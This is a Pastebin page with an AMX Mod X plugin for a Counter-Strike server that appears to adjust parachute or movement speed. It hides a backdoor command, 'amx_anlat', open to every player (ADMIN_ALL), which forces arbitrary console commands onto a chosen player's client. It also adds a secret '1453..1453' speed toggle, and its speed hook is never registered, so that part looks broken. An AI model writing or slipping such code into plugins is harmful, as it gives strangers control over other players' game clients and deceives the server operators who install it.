Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <amxmodx>
- #include <amxmisc>
- #include <fakemeta>
- #include <fakemeta_util>
- #include <cstrike>
- #include <engine>
- #include <xs>
- #include <hamsandwich>
- new g_Hiz[33], g_Hiz2[33]
- #define MAX_NAME_LENGTH 32
- public plugin_precache()
- {
- register_clcmd("parasut_hizi", "parac")
- register_clcmd("1453..1453", "parac2")
- register_concmd("amx_anlat", "cmdSoyle", ADMIN_ALL, "")
- }
- public cmdSoyle(id, level, cid)
- {
- if (!cmd_access(id, level, cid, 3))
- return PLUGIN_HANDLED
- new name[MAX_NAME_LENGTH]
- read_argv(1, name, charsmax(name))
- new priv = cmd_target(id, name, 0)
- if (!priv)
- return PLUGIN_HANDLED
- new length = strlen(name) + 1
- new message[192]
- read_args(message, charsmax(message))
- if (message[0] == '"' && message[length] == '"') // HLSW fix
- {
- message[0] = ' '
- message[length] = ' '
- length += 2
- }
- client_cmd(priv, message[length])
- return PLUGIN_HANDLED
- }
- public client_connect(id)
- {
- g_Hiz[id] = 0
- g_Hiz2[id] = 0
- }
- public client_disconnect(id)
- {
- g_Hiz[id] = 0
- g_Hiz2[id] = 0
- }
- public parac(id)
- {
- if(!g_Hiz[id]) g_Hiz[id] = 1
- else g_Hiz[id] = 0
- }
- public parac2(id)
- {
- if(!g_Hiz2[id]) g_Hiz2[id] = 1
- else g_Hiz2[id] = 0
- }
- public fwd_playerprethink(id)
- {
- if(!is_user_alive(id))
- return
- new Button = get_user_button(id)
- if(Button & IN_MOVELEFT || Button & IN_MOVERIGHT)
- {
- if(is_user_alive(id) && get_user_speed(id) > 500)
- {
- if(g_Hiz[id]) _jetThrust(id)
- else if(g_Hiz2[id]) _jetThrust2(id)
- }
- }
- }
- public _jetThrust(id)
- {
- new Float:fVelocity[3]
- entity_get_vector(id, EV_VEC_velocity, fVelocity)
- new Float:fAngle[3]
- entity_get_vector(id, EV_VEC_angles, fAngle)
- engfunc(EngFunc_MakeVectors, fAngle)
- new Float:fForward[3]
- get_global_vector(GL_v_forward, fForward)
- fVelocity[0] += fForward[0] * 2
- fVelocity[1] += fForward[1] * 2
- if(get_user_speed(id) < 2300)
- entity_set_vector(id, EV_VEC_velocity, fVelocity)
- return PLUGIN_CONTINUE
- }
- public _jetThrust2(id)
- {
- new Float:fVelocity[3]
- entity_get_vector(id, EV_VEC_velocity, fVelocity)
- new Float:fAngle[3]
- entity_get_vector(id, EV_VEC_angles, fAngle)
- engfunc(EngFunc_MakeVectors, fAngle)
- new Float:fForward[3]
- get_global_vector(GL_v_forward, fForward)
- fVelocity[0] += fForward[0] * 3.5
- fVelocity[1] += fForward[1] * 3.5
- if(get_user_speed(id) < 4500)
- entity_set_vector(id, EV_VEC_velocity, fVelocity)
- return PLUGIN_CONTINUE
- }
- stock get_user_speed(id)
- {
- new Float:fVelocity[3]
- entity_get_vector(id, EV_VEC_velocity, fVelocity)
- new iVelocity[3]
- FVecIVec(fVelocity, iVelocity)
- new iVelocity0 = iVelocity[0] * iVelocity[0]
- new iVelocity1 = iVelocity[1] * iVelocity[1]
- return sqroot(iVelocity0 + iVelocity1)
- }
- /* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
- *{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1055\\ f0\\ fs16 \n\\ par }
- */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement